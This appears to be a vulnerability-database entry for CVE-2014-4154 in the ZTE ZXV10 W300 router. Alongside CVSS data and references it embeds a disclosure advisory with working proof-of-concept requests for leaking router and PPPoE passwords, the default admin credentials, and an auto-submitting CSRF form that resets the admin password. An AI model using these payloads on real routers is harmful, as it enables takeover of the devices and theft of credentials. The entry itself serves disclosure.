Sign-up

ID

VAR-201407-0242


CVE

CVE-2014-4154


TITLE

ZTE ZXV10 W300 In router firmware PPPoE/PPPoA Password acquisition vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2014-003363

DESCRIPTION

ZTE ZXV10 W300 router with firmware W300V1.0.0a_ZRD_LK stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain the PPPoE/PPPoA password via a direct request for basic/tc2wanfun.js. ZTE ZXV10 W300 Router is a wireless router product of China ZTE Corporation (ZTE). ZTE WXV10 W300 routers are prone to the following security vulnerabilities: 1. An insecure-default-password vulnerability. 2. Multiple information disclosure vulnerabilities. 3. A cross-site request-forgery vulnerability. An attacker can leverage these issues to obtain sensitive information, gain unauthorized administrative access, perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in further attacks. The vulnerability stems from the storage of sensitive information in the rom-0 backup file. # Exploit Title: ZTE WXV10 W300 Multiple Vulnerabilities # Date: 17-05-2014 # Server Version: RomPager/4.07 UPnP/1.0 # Tested Routers: ZTE ZXV10 W300 # Firmware: W300V1.0.0a_ZRD_LK # ADSL Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0 # Tested on: Kali Linux x86_64 # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith) # Original write-up:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/ #1| Default Password Being Used (CVE-2014-4018) ------------------------------------------------ In ZTE routers the username is a constant which is "admin" and the password by default is "admin" #2| ROM-0 Backup File Disclosure (CVE-2014-4019) ------------------------------------------------- The rom-0 backup file contains sensitive information such as the router password. There is a disclosure in which anyone can download that file without any authentication by a simple GET request. POC: http://192.168.1.1/rom-0 You can find the router password using my rom-0 configuration decompressor. http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html #3| PPPoE/PPPoA Password Disclosure in tc2wanfun.js (CVE-2014-4154) --------------------------------------------------------------------- If you look at the frame source in the "Internet" tab under the "Interface Setup" you can see this doLoad function in line 542 which fetches the password and displays it there. The frame URI is /basic/home_wan.htm. function doLoad() { var value = document.forms[0].wanTypeRadio[2].checked; doEnable(); QosCheck(); WANChkIdleTimeT(); if (value) pppStaticCheck(); LockWhenPVC0(); LockPVC(); if(document.forms[0].wan_PPPPassword != null) { document.forms[0].wan_PPPPassword.value = pwdppp; } } The "pwdpp" is loaded from an external file which you can see at the bottom of the page. <script language="javascript" src="/basic/tc2wanfun.js"></script> Once the user authenticates the router till another successful restart the password is written in that external JS file. POC: http://192.168.1.1/basic/tc2wanfun.js #4| Admin Password Manipulation CSRF (CVE-2014-4155) ----------------------------------------------------- You can change the password to blank by requesting /Forms/tools_admin_1 with a GET requesting containing HTTP basic authentication. POC: <iframe src="http://192.168.1.1/Forms/tools_admin_1" width="0" height="0"></iframe> If you send something like above to the victim, he will be prompted for the login and once he enter his credentials, his password will be immediately changed to a blank password. Ofcourse since there is no XSRF token in the request you change the password as you wish. POC: <html> <body> <form name="exploit" action="http://192.168.1.1/Forms/tools_admin_1" method="POST"> <input type="hidden" name="uiViewTools&#95;Password" value="your_passwd" /> <input type="hidden" name="uiViewTools&#95;PasswordConfirm" value="your_passwd" /> <script>document.exploit.submit(); </script> </form> </body> </html> #5| Denial of Service ----------------------- You can see my previous post about this vulnerability and the exploit. https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/ http://www.osvdb.org/show/osvdb/108076 http://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html http://www.exploit-db.com/exploits/33737

Trust: 2.61

sources: NVD: CVE-2014-4154 // JVNDB: JVNDB-2014-003363 // CNVD: CNVD-2014-03819 // BID: 68082 // VULHUB: VHN-72094 // PACKETSTORM: 127129

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2014-03819

AFFECTED PRODUCTS

vendor:ztemodel:zxv10 w300scope:eqversion:1.0.0a_zrd_lk

Trust: 2.4

vendor:ztemodel:zxv10 w300scope:eqversion: -

Trust: 1.0

vendor:ztemodel:zxv10 w300scope: - version: -

Trust: 0.8

vendor:ztemodel:zxv10 w300 router 3.11.2.175 tc3086scope: - version: -

Trust: 0.6

vendor:ztemodel:wxv10 w300scope:eqversion:0

Trust: 0.3

sources: CNVD: CNVD-2014-03819 // BID: 68082 // JVNDB: JVNDB-2014-003363 // CNNVD: CNNVD-201407-361 // NVD: CVE-2014-4154

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2014-4154
value: MEDIUM

Trust: 1.0

NVD: CVE-2014-4154
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2014-03819
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201407-361
value: MEDIUM

Trust: 0.6

VULHUB: VHN-72094
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2014-4154
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2014-03819
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-72094
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: CNVD: CNVD-2014-03819 // VULHUB: VHN-72094 // JVNDB: JVNDB-2014-003363 // CNNVD: CNNVD-201407-361 // NVD: CVE-2014-4154

PROBLEMTYPE DATA

problemtype:CWE-264

Trust: 1.9

sources: VULHUB: VHN-72094 // JVNDB: JVNDB-2014-003363 // NVD: CVE-2014-4154

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201407-361

TYPE

permissions and access control

Trust: 0.6

sources: CNNVD: CNNVD-201407-361

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2014-003363

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-72094

PATCH
title:ZXV10 W300Surl:http://wwwen.zte.com.cn/en/products/access/cpe/201302/t20130204_386351.html
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2014-003363

EXTERNAL IDS
db:NVDid:CVE-2014-4154
Trust: 3.5
db:PACKETSTORMid:127129
Trust: 1.8
db:EXPLOIT-DBid:33803
Trust: 1.7
db:BIDid:68082
Trust: 0.9
db:JVNDBid:JVNDB-2014-003363
Trust: 0.8
db:OSVDBid:108258
Trust: 0.6
db:CNVDid:CNVD-2014-03819
Trust: 0.6
db:CNNVDid:CNNVD-201407-361
Trust: 0.6
db:VULHUBid:VHN-72094
Trust: 0.1
db:EXPLOIT-DBid:33737
Trust: 0.1
db:OSVDBid:108076
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2014-03819 // 
            
            
            
            VULHUB: VHN-72094 // 
            
            
            
            BID: 68082 // 
            
            
            
            JVNDB: JVNDB-2014-003363 // 
            
            
            
            PACKETSTORM: 127129 // 
            
            
            
            CNNVD: CNNVD-201407-361 // 
            
            
            
            NVD: CVE-2014-4154

REFERENCES
url:https://osandamalith.wordpress.com/2014/06/15/zte-wxv10-w300-multiple-vulnerabilities/
Trust: 2.5
url:http://www.exploit-db.com/exploits/33803
Trust: 1.7
url:http://packetstormsecurity.com/files/127129/zte-wxv10-w300-disclosure-csrf-default.html
Trust: 1.7
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-4154
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2014-4154
Trust: 0.8
url:http://osvdb.com/show/osvdb/108258
Trust: 0.6
url:http://wwwen.zte.com.cn/en/
Trust: 0.3
url:http://packetstormsecurity.com/files/127049/zte-tp-link-zynos-huawei-rom-0-configuration-decompressor.html
Trust: 0.1
url:http://192.168.1.1/basic/tc2wanfun.js
Trust: 0.1
url:http://192.168.1.1/rom-0
Trust: 0.1
url:http://packetstormsecurity.com/files/127076/zte-tp-link-rompager-denial-of-service.html
Trust: 0.1
url:http://www.osvdb.org/show/osvdb/108076
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4154
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4155
Trust: 0.1
url:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4019
Trust: 0.1
url:http://192.168.1.1/forms/tools_admin_1"
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4018
Trust: 0.1
url:http://www.exploit-db.com/exploits/33737
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2014-03819 // 
            
            
            
            VULHUB: VHN-72094 // 
            
            
            
            BID: 68082 // 
            
            
            
            JVNDB: JVNDB-2014-003363 // 
            
            
            
            PACKETSTORM: 127129 // 
            
            
            
            CNNVD: CNNVD-201407-361 // 
            
            
            
            NVD: CVE-2014-4154

CREDITS
Osanda Malith
Trust: 0.4
sources:
            
            
            BID: 68082 // 
            
            
            
            PACKETSTORM: 127129

SOURCES
db:CNVDid:CNVD-2014-03819
db:VULHUBid:VHN-72094
db:BIDid:68082
db:JVNDBid:JVNDB-2014-003363
db:PACKETSTORMid:127129
db:CNNVDid:CNNVD-201407-361
db:NVDid:CVE-2014-4154

LAST UPDATE DATE
2025-04-13T23:25:23.731000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2014-03819date:2014-06-23T00:00:00
db:VULHUBid:VHN-72094date:2014-07-16T00:00:00
db:BIDid:68082date:2014-06-17T00:00:00
db:JVNDBid:JVNDB-2014-003363date:2014-07-17T00:00:00
db:CNNVDid:CNNVD-201407-361date:2014-07-17T00:00:00
db:NVDid:CVE-2014-4154date:2025-04-12T10:46:40.837

SOURCES RELEASE DATE
db:CNVDid:CNVD-2014-03819date:2014-06-23T00:00:00
db:VULHUBid:VHN-72094date:2014-07-16T00:00:00
db:BIDid:68082date:2014-06-17T00:00:00
db:JVNDBid:JVNDB-2014-003363date:2014-07-17T00:00:00
db:PACKETSTORMid:127129date:2014-06-17T23:04:35
db:CNNVDid:CNNVD-201407-361date:2014-07-17T00:00:00
db:NVDid:CVE-2014-4154date:2014-07-16T14:19:03.870